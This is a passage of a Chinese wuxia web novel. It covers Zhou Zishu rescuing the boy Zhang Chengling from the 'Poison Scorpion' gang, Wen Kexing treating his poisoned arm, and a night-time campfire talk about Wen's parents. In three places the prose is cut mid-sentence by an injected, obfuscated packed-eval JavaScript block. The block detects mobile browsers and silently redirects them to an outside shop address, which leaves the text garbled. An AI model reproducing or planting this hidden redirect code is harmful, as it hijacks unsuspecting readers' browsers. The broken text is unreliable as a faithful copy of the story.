了他不敢来一样,轻蔑而恶毒地看着他。 那么一瞬间,张成岭也不知是因为冲动还是赌气,竟攥紧了那张纸条,趁乱没人注意,悄无声息地离开赵敬身边,跟着那男人从人群中穿梭而过。 没人注意到他,除了周子舒。 周子舒一直分出半颗心盯着张成岭,他眼力极好,看见有人往张成岭手中弹纸条时,便警觉了起来,见这小东西竟还不知天高地厚地独自去了,当下也懒得再听这些大侠们狗扯皮,便皱了皱眉,暗暗跟了上去。 那人就像是故意吊着他一般,张成岭追着追着,便没了他的踪影,可是过不了片刻,便又总有一颗小石子从各种刁钻的角度打在他身上,那神色衣衫的男人便又现身,好像故意嘲笑他功夫太差似的,走走停停,像是猫逗老鼠。 张成岭咬着牙,竟不觉一路追出了老远,他资质不行,原先又未曾用过功,到了赵家庄以后,所有人都在谋划怎么行江湖大义,竟无人想起指导他些功夫,追得急了,早已上气不接下气,眼前一阵阵发黑,几乎能听见自己太阳穴附近“突突”的脉搏。 这从小娇生惯养的少年从未对自己这样愤怒过,只听有人冷哼一声道:“这就是张玉森的崽子?简直是个废物。” 少年心想,是啊,张成岭你就是个废物,怎么李大伯当初拼死救出来的是你呢? 怎么就是你呢? 随后那引他出来的男人停在面前,铁钳一样的手掌扳起他的下巴,恶毒的目光落在张成岭脸上,少年一身热血温度开始退却,这才惊觉,自己已经到了一个杳无人烟的地方。 几道影子凭空落在那男人身后,都是一样不打眼的深色衣衫,就包围了张成岭。 只听引他过来的人轻笑一声,放开张成岭,扬声道:“那位藏头露尾的仁兄,你就是为了这么个小东西,至于这样兴师动众?” 话音刚落,一个一身深红的男人走出来,他脸上竟有一块血红的巴掌形胎记,使得那五官看起来说不出的狰狞吓人。 张成岭的腿开始有些颤抖,他尽量抬起下巴,装作无畏的样子,和这红衣男人对视。 红衣男人忽然低低地笑了一声,声音干涩沙哑得像是生锈的铁片刮在一起一样,听在耳朵里直让人起鸡皮疙瘩,一晃神便到了张成岭面前,一把捏住他的脖子。男人的手指冰冷得像死人,那一瞬间,张成岭甚至觉得,眼前的这男人就是个僵尸。 然后男人轻声问:“我问你,那天夜里,在张家庄,你有没有看见过一个少了一根手指头的男人?” 张成岭睁大了眼睛望着他,费力地摇摇头。 男人眯起眼睛,将声音放得更轻柔:“没有?好孩子,你再好好想想,是有,还是没有?” 他声音越是轻柔,手上的力气就越是大,张成岭有些窒息,用力挣动起来,脸都被掐红了,胳膊腿奋力而毫无章法地打在红衣男人身上,哑声骂道:“有你爷爷!” 红衣男人像是无所察觉似的,脸上露出一个鬼气森森的笑容:“有……还是没有?” 张成岭只觉胸口要被憋得炸开了似的得疼,他明白过来,这男人是想让他说有,可关键时刻,少爷的驴脾气又犯了,张开嘴,一口唾沫便吐在了红衣男人脸上,那一瞬间,箍在他脖子上的手忽然就变成了一副钳子。张成岭连挣动都没力气了。 那男人轻声问道:“我再问你一次,有,还是没有?” 张成岭的意识渐渐模糊,他想,他就要死了…… 忽然,只听那男人闷哼一声,箍在他脖子上的手忽然松开,空气猛地灌进张成岭的胸口,他踉跄着往后退了几步,“扑通”一声坐在地上,撕心裂肺地咳嗽起来。 红衣男人往后退了几步,目光不善地盯着险些打折了他手腕的一粒小石子:“什么人?” 21. 第二十一章 毒蝎 转角处缓步走出一个瘦骨嶙峋的男人,一张脸几乎让人过目就忘,也瞧不出多大年纪。他不知道已经在那里躲了多久,竟没有一个人察觉到。 红衣人一皱眉,不知为什么,他在看见这个扔在人堆里、便不会叫人想看第二眼的男人的那一刻,忽然有种汗毛倒竖的战栗感,顺着脊梁骨攀上来,忍不住便随着这男人的步伐调整着自己的的姿势,眼睛眨也不眨地望着他。 颇为戒备地又问了一遍:“你是什么人?” 周子舒本来下意识地便想像回答顾湘似的,轻描淡写地来一句“无名小卒”,可低头扫过张成岭颈子上的淤青,忽然心里想道,自己在朝中装孙子都已经装了半辈子了,跟这么一群藏头露尾的东西,还有什么好周旋客气的? 那些他骨子里的、如游侠浪客一般的放肆,已经被压抑了太长时间——周子舒的目光在一帮明显紧张起来的男人们和红衣人身上扫了一圈,轻笑一声,道:“你算什么东西,管得着老子是谁么?” 红衣男人眼角跳了跳,手掌慢慢地缩回袖里,如果有人这时候能看得见他的手掌,就会发现他那皮肤上慢慢地浮起一层乌气,而脸上血红的胎记,颜色好像也更深了些。 原本站在他旁边的几个人,竟不由自主地往旁边微微散开,然后相互打了个眼色,将周子舒和张成岭围在中间。 周子舒毫不在意,旁若无人地俯身揪住张成岭的衣服领子,将他硬是从地上给拎了起来,说道:“小鬼,你站起来,五体投地的成什么样子。” 张成岭微微愣了一下,愕然地打量着这又带了一层面具的周子舒,好像还有点困惑。 红衣男人耐着性子说道:“这位兄台,我等不过是有些事,需要找这孩子问一问,你不要……” “多管闲事”四个字还没说出来,却见周子舒出手如电地,竟用了一个和那红衣男人方才如出一辙的动作,掐住了那将张成岭诱来的人的脖子。 那人吃了一惊,他武功其实已经是相当不弱,却不想眼前这瘦骨嶙峋活像个骨头架子一样的男人身形竟如鬼魅一般,未来得及躲开,最脆弱的地方便被对方捏在了手里。 稍微练过一点功夫的人也明白,脖颈、胸口等处乃是要害,是最最严防死守的地方,便不是有心,也会下意识地防护,凡是敢对着别人脖子下手的,一般不是对手太弱小,便是对自己的实力实在太自信。 然后周子舒皮笑肉不笑地咧咧嘴,问道:“我是你爷爷么?” 那被他掐着的男人先是怔了一下,随即怒极,竟不管不顾地打算破口大骂:“你……” 然而才只吐出一个字,周子舒手上便猛地加力,男人的污言秽语变成了一声嘶哑的尖鸣,惊慌中,他抬手便挥向周子舒胸口,两人距离极近,只听一声变了调子的惨呼,他竟未曾看见对方动手,两条手臂便被卸了关节,垂了下来。 只听周子舒又拖长了声音,轻声问道:“你说,我——是——你——爷——爷——么?” 红衣男子怒道:“你这是什么意思?” 周子舒缓缓地转向他,冷笑道:“我不过是有些事,需要找这畜生问一问,你不要多管闲事。” 他手背上筋骨猛地爆出来,那男人竟连哼都没哼一声,便翻了白眼,抽搐了一下,不动了,也不知是死了没有。 周子舒一松手,他便没骨头似的瘫在地上。 与此同时,两个人同时冲出来,一个扑向了才刚站稳的张成岭,一个手中挥着一把长钩,带着一股子腥风便冲着周子舒招呼过去。周子舒闪都不闪,从一个十分匪夷所思的角度踢出一脚,正中那持钩人的胸口,这一脚结结实实地踢中,竟将那人踢得当场一口血喷出来,飞了出去,正好撞在那偷袭张成岭的人身上,两人便葫芦瓢似的一起滚了出去。 周子舒皱皱眉,嫌弃地拎住张成岭的后颈,像逮着个小猫似的,把他扔到一边,不耐烦地道:“小东西,就会碍事。老实点,待在那别动。” 张成岭只觉身体一轻,竟像是毫无重量一样地被丢到了墙角站定,那一瞬,他微微张大了眼睛,张开嘴,无声地吐出两个字“师父”。 红衣男人没动,其他人一股脑地冲着周子舒扑过去。 张成岭看得眼睛都不舍得眨,他记得很小的时候,他父亲说过,武功一道,路数各有不同,有坚如磐石者,稳如泰山,有凌厉非常者,无坚不摧,有惊风骤雨者,疾如闪电,然而这些还都是有形的功夫,最厉害的,须得是无声无形、无法言喻的,乍看上去如春雨,润物无声,却只在归在八个字上——翩若惊鸿,举重若轻。 而今,他终于明白了什么叫做“举重若轻”。 那些人手上如出一辙地拿着一个钩子,仔细看,形状如同蝎子尾针,还幽幽地泛着蓝光,有种诡秘的阴冷,张成岭此时还不知道,这些人便是恶名昭彰的“毒蝎”,是一帮子亡命徒,杀人越货,只要有钱,无所不为,卑鄙下流,怎么惹人恶心怎么来。 只是他们现在却不怎么像样子了,周子舒脚步移动不大,好像懒洋洋的似的,偶尔进退也不过一步半步,他赤手空拳,那身子软极了,没骨头一般,东摇西晃,那些持钩的人竟没有人能近他的身,可就是这样软绵绵的手脚,被稍微撩到,方才知道厉害。 张成岭盯着看了半晌,竟惊觉眼花缭乱,有些头晕了。 不到一炷香的时间,十三“毒蝎”已经全躺下了。 张成岭那一瞬间热血沸腾起来,忍不住也攥着个拳头,用力地捏着。周子舒轻轻地掸了一下袍子,一言不发地与那红衣男子相对而立,打量了他半晌,忽然微一歪头,眯起眼睛,问道:“你脸上那块胎记,民间叫做小鬼巴掌,难不成你就是那丧门星似的喜丧鬼孙鼎?” 红衣男子的脸色忽地一变。 周子舒冷笑一声,说道:“鬼谷有鬼谷的规矩,当了恶鬼,便不再是人,见不得光,除了七月半,没有出来的道理,你胆子倒是大得很么,光天化日之下,竟敢在洞庭之地动手。” 红衣男子咬牙切齿道:“你话太多了。”话音未落,人已化作一道血红的影子,欺身上来,他身上带着一股子说不出的难闻的味道,像是腥味和腐尸味混合在一起,一道劲风袭来,快得叫人看不清。 周子舒身子忽然腾起,凭空往后飘出三丈。 红衣男人一掌挥出,没打着人,张成岭看得清楚——周子舒原本踩的那一块地上竟多了一块巴掌型的凹痕,几根本就在秋风中瑟瑟发抖的小草,竟以肉眼可见的速度枯萎了下去,少年惊疑不定地抬头望去,没想到这形容可怖的红衣男人,竟真是那传说中的喜丧鬼孙鼎! 杀了穆云歌和方不知的凶手。 周子舒随手折下一根树枝,轻叱一声,直直地插入喜丧鬼两手之间,那树枝上的枝叶飞速地枯死,周子舒神色不动,也不撒手,一提一推,那树枝灌注了内力,竟显得柔韧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450111|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非常,喜丧鬼一时觉得它像是有生命一样,隐隐还有一股子黏附之力。 大惊之下,他便要往后退却,周子舒一掌已经逼至他小腹,喜丧鬼狼狈地借力翻了个筋斗,往后倒退了三四步,脸色煞白,好容易才稳住,周子舒随手将那死气已经快蔓延到他手上的树枝丢在一边,微微拢了一下衣袖,肃然而立。 喜丧鬼十分识时务,落地半分犹豫也没有,借着后冲之力,几个起落,便没了踪影。 张成岭急道:“他跑了!” 周子舒看了他一眼,没理会,转身往另一个方向走去,张成岭忙赶上去,叫道:“师父!” 周子舒脚步一顿,皱眉道:“哪个是你师父?” 张成岭不管不顾地追上去,攀在他手臂上,仰着头笃定地说道:“我就知道,你是周叔,是大恩人,是师父。” 除了他,谁还会有那样颇为不耐烦的说话腔调,有那样一双枯瘦却温暖的手,还有鬼魅一样的轻功?除了他,这时候,还有谁会从那人山人海中孤身出来,救他一命? 张成岭认定了是他,绝对不会错。周子舒本来也是草草折腾了一下,没指望能瞒得过有些人,竟不想被这小屁孩子给瞧出来了,多少还是有些挫败的,便要使个巧劲将他甩开:“你……” 他话还没说完,忽然眼神一冷,一把将张成岭拽进怀里,错步往旁边闪去,张成岭还没反应过来,只觉刹那间,一股子轻风擦过,搂着自己的双臂似乎僵了一下,随即只听周子舒冷声道:“找死!” 一掌斜劈出去,那偷袭的人还没来得及完全跳起来,脖子便歪到了一边,竟是断了。 张成岭定睛望去,见偷袭的,竟是那第一个被周子舒掐住脖子的倒霉鬼,没想到此人精通龟息功,方才乃是装死。 下一刻,他便又被人拎着扔到了一边,周子舒一言不发地迈开步子便要走,张成岭哪里能再放他离开,便要死皮赖脸地追上去。 然而他只觉眼前一花,那人影闪了一下,便不在眼前了。张成岭知道他轻功卓绝,自己就是再练个三四十年,也不见得跟得上,心里难过极了,讷讷地叫了一声:“师父……”急得几乎流下眼泪来。 然而就在此时,只听一声轻笑,一个灰衣人凭空冒出来,正好拦住周子舒去路,抬手便去勾他的腰,简直像是掐算着时间搅局来的。 周子舒空中旋了个身,却不知为什么,身形一滞,竟被那灰衣人抱了个满怀。 只听那熟悉的、叫人恨得牙根痒痒的声音说道:“周圣人师父,你如此匆忙,是为了哪般啊?” 两人落地,周子舒忽然闷哼一声,抱住自己的右臂,那灰衣人温客行毫不客气地一把撕开他袖子,还故意横着撕,好像自己断袖也要拖别人下水似的,然而下一刻,却又皱起了眉——只见周子舒右臂上,钉着两个小小的伤痕,像是毒虫蛰的一样,泛了紫。 温客行道:“我说你怎么跑得这样快,敢情是被毒蝎子给蛰了。” 张成岭没料到有这么一出,明白了什么似的回头望了一眼那偷袭过他们的死人,脸色白了白。 周子舒还没来得及说什么,温客行便出手如电地封住他几处大穴,吩咐道:“你闭嘴吧。” 然后从怀中掏出一个磁石,小心地将那钉入他皮肉的两颗牛毛一样的小针吸了出来,然后俯身凑上去,竟毫不在意地用嘴去给他吸毒血。 周子舒刹那间便僵硬成了一块石头。 22. 第二十二章 圣手 温客行干净利落地吸干了他手臂上毒血,手法熟练地替他处理了一下,解开周子舒的穴道,然后从怀中摸出一个小药瓶,倒出两粒丸药,一粒塞进自己嘴里,另一粒拿在手中,笑盈盈地送到周子舒嘴边,淫/声浪语地拖着长音道:“来,阿絮,张嘴。” 周子舒面沉似水地看着他,温客行定力十足,仍然笑得阳光灿烂,好像哪怕对方的目光化成锥子,也戳不烂他城墙一般的脸皮。他还意味深长地往张成岭那里扫了一眼,故意压低了声音道:“看也看过了,亲也亲过了,你还害羞个什么?” 周子舒抬手接过药丸,头也不回地往前走去。 温客行这才对呆若木鸡的张成岭招招手,心情很好地说道:“你师父好不容易不跑了,怎么还不跟来?” 此时天已经要黑下来了,张成岭被那只毒蝎一路从洞庭英雄大会处诱来,也不知道跑出了多远,正经是前不着村后不着店的那么一个地方,十分不尴不尬。 周子舒去了片刻,拎回了几只大野兔子,他嘴上虽没说什么,却还是连另外两个人的口粮一起打出来了,只听温客行笑眯眯地对张成岭说道:“你知道世界上第二可爱的一种人是什么样么?” 张成岭抬头望着他,觉得虽是师父受伤在先,可这男人竟能毫不费力地制住他,可见功夫是很高了,又加上人还有点疯疯癫癫,于是更敬畏他了,便顺从沉默地摇摇头。 温客行说道:“是嘴硬心软的人——那你知道世界上最可爱的一种人是什么样的么?” 周子舒干净利落地将几只兔子开膛破肚,闻言冷飕飕地扫了温客行一眼,吩咐道:“别在那扯淡了,去捡点柴禾来。” 温客行乐颠颠地应了一声,转身便要走,瞥见张成岭仍以一种非常奇妙且复杂的眼神看着自己,还以为是这孩子好奇心和求知欲太盛,于是好为人师地解释道:“是腰细腿长并且嘴硬心软的人。” 只听周子舒淡淡地接道:“小鬼,别听他自夸。” 张成岭又犹疑不定地把目光对准周子舒,心想莫不是自己理解错了,可这位说得明明是…… 周子舒接着道:“离他远点,他想老牛吃嫩草。” 温客行被枯枝败叶绊了一个趔趄,委委屈屈地回过头来:“阿絮,你太屈我的心了。” 周子舒指着几只野兔的尸体道:“你若是再不去捡柴禾,我就叫你和你这几位兄弟一起开膛破肚。” 温客行一惊,立刻捂住了肚子,真的像兔子一样万分警惕地跑了。 周子舒找了条小溪流洗了手,有些不自在地将被撕了大半的袖子在身上裹了裹,手臂上温客行嘴唇的触感好像还在似的,他方才清楚地感觉到,那人吸完毒血以后,竟然还在他的伤口上舔了一下,登时便叫他头皮一炸——绝对是故意的。 周子舒于是愤愤地把脸上的人皮面具扯下来,随手丢在水里,心道能把男色好得如此这般饥不择食、如此这般光明正大、如此这般无处不发情的,他活了这么多年,还真就认识这么一朵狗尾巴花一样的奇葩。 他转过脸去,张成岭便又看见那张熟悉的面孔了,惊喜交加地叫了一声:“师父!”——好像他才认出来的似的,小狗似的跟在他身后转来转去,又好像怕惹他烦,小心翼翼地保持着一定距离。 周子舒拿眼角瞥见,心就软了,对他招招手:“你过来。” 张成岭屁颠屁颠地凑到他跟前,谄媚地叫道:“师父。” 周子舒想了想,道:“以你的脚程,今日恐怕回不去,得露宿一宿,明日一早,我再送你回去找赵大侠。” 张成岭的眼神刹那间便暗淡下去了,他也没说什么,只是垂头丧气地看着自己的鞋尖,闷闷地不言声。周子舒自来是吃软不吃硬的,最受不了的就是他这套,只得干咳一声,皱眉道:“你这又是干什么?” 张成岭依旧低着头,低低地道:“是。” 便又不吱声了,只是拿小眼神一眼一眼地偷偷瞟着周子舒,被发现了就迅速转开,嘴往下撇着,眼睛眨巴眨巴的,睫毛上居然还沾着一颗泪珠。 周子舒靠着一棵树,一屁股坐下,真弄不清该拿这小东西怎么办才好,也不知道是不是张玉森张大侠命里没女儿,打小把这儿子当姑娘养,就养出这么个东西来。于是假意不耐烦,皱起眉低喝一声:“你站直了,抬起头来!” 张成岭一激灵,就站直了,抬起头来,这么一抬头不要紧,眼眶里晃呀晃的泪珠就扑簌簌地掉下来了,把周子舒看得糟心不已,不自觉地稍微放柔了一点声音,说道:“你把脸擦干净了,还是不是男人了?什么大不了的事儿,至于就哭么?” 张成岭用力抹了一把脸,没抹干净,反而更委屈了,眼泪越擦越多,最后他终于忍不住了,带着哭腔断断续续地哽咽道:“师父……师……我也没、没老哭,我、我……我就是看见你,看见你才委屈……我、我……我……” 周子舒一个头变成了两个大,不愿再和他对视,勉强维持着漠然的神色,移开了视线。 这时温客行抱着一堆生火的东西回来了,一看这阵仗,先怔了一下。 天已经完全暗下来了,地平线上的光正慢慢湮灭,西方一片惨淡的灰白,昏星从树梢上吊了上去,夜风起来,凉意慢慢渗了出来。 温客行也没说什么,削了几根木头,升起了火,将周子舒处理好的兔子架了上去,耐心地烤着,嘴里没影没调地哼着一首小曲,听起来有点像十八摸,十分符合他的一贯风格。周子舒默然不语地坐在一边,一条腿蜷起来,胳膊搭在膝盖上,张成岭在一边拼命地压抑着哽咽。 半晌,肉的香味飘出来了,张成岭的肚子被勾得叫了一声,少年一张小花脸红了,温客行这才笑着瞥了他一眼:“还得再等等,没烤透呢。” 张成岭乖巧地点点头,温客行觉得他简直比小兔子还乖,便转头对周子舒道:“哎,我说,他愿意跟着你,你就让他跟着呗,你若是不待见他,又几次三番的救他做什么?” 周子舒慢吞吞地站起来,凑过来,将双手放在火堆上烤着,胸口的几处穴位微微地疼起来,这使得他有些畏寒。 温客行便拿鞋尖踢了他一下:“问你呢。” 周子舒仍旧慢吞吞地说道:“我乐意。” 张成岭却突然说话了,他声音里还带着点嘶哑,有点颤抖,低声道:“师父还是别带着我了,我是个麻烦,好多人想杀我,我……我功夫也不行,还连累师父受伤……” 温客行安慰道:“没事,他皮糙肉厚——你瞪我做什么,别人都一张皮,你成天把自己包得粽子一样,一层不够还又糊一层。” 见张成岭一愣一愣的,温客行还很耐心地解释道:“你瞧他那胳膊,手腕以下和手腕以上是两个颜色吧,你这师父顶藏头露尾了,到如今也不愿意跟我坦诚相见。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450112|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周子舒懒得理会他,自己动手从那正烤着的兔子腿上撕下一块肉,放进嘴里慢慢嚼着。 再要去撕,却被温客行躲开了,后者嫌弃地道:“你饿死鬼投胎么,油还没完全烤出来呢。” 周子舒不紧不慢地把兔肉咽下去,才看着他道:“你娘们儿投胎么,身上一股子脂粉味、随身带着帕子也就算了,嘴还那么碎,哪来那么多废话?” 温客行就闭嘴了。 片刻后,兔子烤好了,皮肉都金灿灿的,外酥里嫩,周子舒便把张成岭也叫过来,两个男人一个孩子,谁也没客气,都饿了一天了,相对无言地一通狼吞虎咽,没过多久,那几只肥肥大大的野兔,便成了一堆干干净净的骨头。 吃饱喝足了,三个人在火堆旁烤了一会火,周子舒便自行靠在一边闭目养神去了,温客行这才对张成岭说道:“你功夫怎么不行?你爹没教过你么?” 张成岭低声道:“教过,只是我资质愚钝,又不愿意用功,大多都不记得了。” 温客行想了想,摇头道:“小时候我爹教我功夫的时候,我也不愿意用功,跟你差不多,不过我资质不大愚钝……” 一边周子舒没睁眼,闻言却忍不住嗤笑了一声。 温客行没理他,只上下打量了张成岭一番,随口问道:“你愿不愿意学功夫?” 张成岭猛地抬起头来,目光灼灼地看着他。 那目光热烈得简直叫温客行一怔,他好像有很久很久,没有看见过这样执着、这样坦白、这样不顾一切的渴望的目光了,忍不住道:“你这……你这小东西,怎么一听说这个就跟饿狼似的?” 张成岭忽然跪了下来:“前辈!我求求你指点我,让我干什么都行!” 温客行摸摸鼻子,干咳一声道:“瞧你这话说得,我对你这么嫩的没什么兴趣……咳!” 火光映红了少年的面庞,他那还略带稚气的脸上拢上了一层说不出的坚毅之色,却又带着孩子气的脆弱和恳求。 温客行被他盯了片刻,竟和周子舒反应十分一致,不自在地移开了目光。犹豫了一下,他叹了口气,站起来,拍打了一下身上沾的土,又捡起一根一尺长的木棍,嘴里说道:“行啊,我就教你几招,看仔细了,没第二回。” 言罢,还真就一招一式一板一眼地慢慢演示起来,张成岭眼睛都不舍得眨一下,从头看到了尾,便也爬起来,自己跟着练。这确实不是个聪明孩子,温客行虽说了就教一遍,却到底还是忍不住一边纠正,一边细细地给他讲,张成岭眼睛亮晶晶地望着他,激动得话音都颤起来了,一迭声地道:“多谢前辈,多谢前辈!” 温客行显然也没受过别人这样热情的感激,竟难得地显出几分拘谨来。 几乎就这么过了大半夜,张成岭仍一点也不累似的,兀自在一边比划着。温客行沉默地坐在一边,脸上没了笑容,好像若有所思着什么似的。 忽听一边早睡着了一般的周子舒轻轻地问道:“你姓温……当年的‘圣手’温如玉是你什么人?” 温客行整个人好像都震了一下,半晌,才低低地道:“家父。” 周子舒睁开眼睛,盯着他的侧影看了一会,再开口,语气已而郑重了不少:“久闻温如玉温前辈圣手仁心,早年持‘秋明剑’与其妻神医谷妙妙行走江湖之时,救人无数,后来一同归隐,再没人知道其去向,竟是令尊,失敬。” 23. 第二十三章 故事 温客行好像笑了笑,又好像身上带了一点说不出的悲意:“如今竟还有人认得他的剑法么?” 周子舒沉默了片刻,即使是天窗,也不可能全无漏洞,不然他也不能逃出来,秋明剑退隐,大概还是二十多年前的事情,到现在,也没人知道那对夫妇后来去了哪里,又是怎么样了。 他默不作声地打量着温客行——温客行坐在火堆旁边,肩背微微弓,眼神悠远而安静地看着张成岭笨手笨脚地练着他父亲当年教过他的剑法,竟显出几分说不出的平和恬淡来,真的就如同和那周子舒想象中温如玉应该有的样子,重合到了一起。 只听温客行忽然开口唱道:“彼黍离离,彼稷之苗。行迈靡靡,中心摇摇。知我者谓我心忧,不知我者谓我何求。悠悠苍天!此何人哉?彼黍离离,彼稷之穗……” 他的声音放得极低,微微有些嘶哑,听起来闷闷的,还带着吐字不清的混沌,那一字一句,好像是从胸口发出来的,萦绕在他的喉咙里,缠缠绵绵地不肯出来。 烈火烧着柴禾,“噼啪”作响,张成岭有一招想不明白,本想过来问,却在不远不近的地方听见这歌声,不知为什么,忽然便顿住了脚步。 当年平王播迁,家室飘荡之时,传说周大夫行役路过宗周镐京,看见了那旧时宗庙宫室都已经破败如斯,朱颜落寞,而荒草漫漫、黍稷郁郁,触景伤情而生了这一首悲歌。 伤怀于盛世已死的一场繁芜,伤怀于那不可或留的前生昨日。 闻歌而心意活动的张成岭又是在想什么呢?他还只是个孩子,可他恐怕这一辈子,都再没勇气回去看那江南张家一眼,那曾经承载了他太多幸福童年时光的地方,如今,也不知剩得几片破瓦片、烂红泥,须得他用一辈子来背负。 周子舒眯起眼睛,伸手将腰间酒壶摸下来,仰头灌了一口,辣味冲头,几乎呛得他落下泪来。 知我者谓我心忧,不知我者谓我何求…… 温客行似乎带了那么一点微妙的自嘲一般,反复哼唱着这两句,眼角慢慢地弯了起来,就像是露出了一点笑意一样。 他求的又是什么呢? 不知过了多久,谁也没再说话,温客行的哼唱渐渐轻下去了,张成岭抱着那随手折的树枝,像是抱着一把绝世好剑那样小心翼翼,已经歪在一边,睡着了,不知梦到了什么,嘴角微微往上翘着,眉头却死死地纠结在一起,不肯打开。 周子舒就爬起来,将外袍脱下来,轻轻地盖在他身上,然后低低地叹了口气,说道:“令尊的秋明十八式,据说横行武林,你只教了他三招,我瞧着,没有一招是那十八式里的,可细想,那秋明十八式千变万化,却又都全出自这三招其中。温兄……真是青出于蓝。” 温客行同样压低了声音,坦然道:“他剑法肯定远不如我,不过他的医术,我也一窍不通,也就会包扎个伤口、知道伤风了要捂出一身汗来罢了。” 然后他转过头来看着周子舒:“他老人家的剑法你竟这样清楚,还知道些什么?” 周子舒和他一起围坐在火堆旁,将领子拢起来,半只手缩进袖子里,指尖烤着火,慢慢地说道:“江湖中有医毒不分、神秘莫测的巫医谷,也有救死扶伤、悬壶济世的神医谷。听闻神医谷并不以武功见长,却没人轻易招惹他们,令慈谷女侠乃是神医谷谷主的关门弟子,年轻的时候,据说是蜀中第一美人,后来忽然传出消息说嫁人,也不知伤了多少人的心。” 温客行闻言轻轻地笑起来,调侃道:“你一个大老爷们儿,怎么什么鸡毛蒜皮的破事都知道?一天到晚没事干,竟打听这种事了吧?” 周子舒也笑道:“可不是么,就这点能耐了。” 两人又沉默了片刻,温客行才低声说了一句:“都是好多年前的事了……” 许是因为他们身上有某种说不清明的相似,周子舒一听见他的歌声和叹息,就好像能明白些什么似的,便忍不住带着些安慰他的意思,轻声说了一句:“令尊令慈,都是极少见的好人,神仙眷侣,游弋江湖,随后又相携隐居,若是我能有这样的日子,真是明天就死了,也愿意了。” 温客行极轻极轻地笑了一下:“好人?” 不知是不是因为夜晚太过宁静,他的神色有些迷茫,低声地道:“想不到过了这么多年,还有人记得他们,还有人说他们一声好。你说……什么才算好人呢?人又为什么要做好人呢?” 周子舒才要说话,忽然听见张成岭那边有了一点动静,少年的呼吸一滞,随后频率就变了。周子舒没回头,也知道他又是做了噩梦,一时惊醒了。 张成岭也没言声,只是默默地窝在那里,抱着周子舒的外袍和那一棵破树枝,听着。 这么一来,周子舒本来到了嘴边的话,便咽了回去,慎重地想了好一会,才不轻不重地说道:“这世上并不是所有人都是好人,然而大多数人也都是愿意当好人的,哪怕就真的不是好人,也会尽可能地装成好人的样子。” 他停顿了片刻,又接着道:“至于为什么……我想可能是因为只有你对别人好,打心眼里不愿意害人,做好事,别人才会对你好。只有做一个好人,你才会有朋友,有亲人,有爱人,才会有很多人愿意跟你在一起,愿意对你好。你想,若是一个人一辈子只有自己,随时随地总防备着除了自己以外的所有人,跟谁也不亲,跟谁也没感情,只能自己疼自己,那岂不是也太可怜了些?当坏人,太苦了。” 温客行听得几乎呆住了,半晌,他才笑了笑,摇摇头。 周子舒没言声,只是往火堆里添着柴禾。温客行低下头,注视着一跳一跳的火苗,又摇了摇头,可是动作却越来越慢。 终于他双手交叉,放在脑后,仰面躺了下去,面对着星辰灿烂的夜空,长长地吁出一口气,几不可闻地说道:“你说得有理……阿絮,你说得很有道理。” 周子舒笑笑。 温客行又自语一般地问道:“可恨之人……是必有可怜之处么?” 周子舒道:“不错。” 温客行也不管他看得见看不见,径自点点头,随后一本正经地点评道:“阿絮,我发现,就算你不是个美人,也越来越对我胃口啦。” 周子舒就知道他这是正经了没片刻光景,又要故态重萌,于是嘴角抽了一下,没理会他。 温客行便撑起一边的胳膊肘,笑盈盈地抬起脸看着周子舒,说道:“我看你也不用羡慕那一对老头子和老太婆了,以后就跟着我吧,也能游弋江湖,相携隐居,还不用明天就死,我不介意跟你凑合凑合,你说呢?” 周子舒面无表情地道:“对不住,我介意,温兄你实在太高看我了。” 温客行就笑起来,然后在“美人你何苦遮着脸,哥哥我心焦意难掩”的猥琐小调里,欣赏着周子舒气得撅断了手上拨拉柴禾的木棍,还发作不得,只得装聋作哑的模样。缺德地将自己的快乐毫无负罪感地压在别人的愤怒之上,只觉心情畅快极了。 第二日一早,张成岭抱着周子舒的袍子过来,递给他,小声说道:“谢谢师父。” 周子舒接过来披上,看了他一眼,道:“走吧,回高家庄。” 张成岭脚步一顿,仍是默不作声地跟过来,活像个受气的童养媳。 温客行冷眼旁观,便安慰道:“你师父已经决心要和天下英雄一路混在一起,沆瀣一气蛇鼠一窝了,眼下就住在高家庄里头,你不如就跟在赵大侠身边,随时可以去找他。” 然后他又飞快地补充道:“当然你也可以随时去找我。” 周子舒走在前头,闻言回头道:“我几时说过要留下和这群人混在一起的?” 温客行伸手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450113|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹭着自己的下巴,笑眯眯地问道:“你不留?” 周子舒皱眉道:“不留。” 温客行看了张成岭一眼,又问道:“真不留?” “不……” 周子舒下意识地随着他看了一眼张成岭,只见那小少年一双眼睛正眨也不眨地盯着他,眼神活像个战战兢兢的小兔子,一脸期冀,又不敢太明显,一见周子舒看过来,忙抿抿嘴,做出一脸坚毅状,周子舒下面的话便自动没了音,哼了一声,转身大步往前走去。 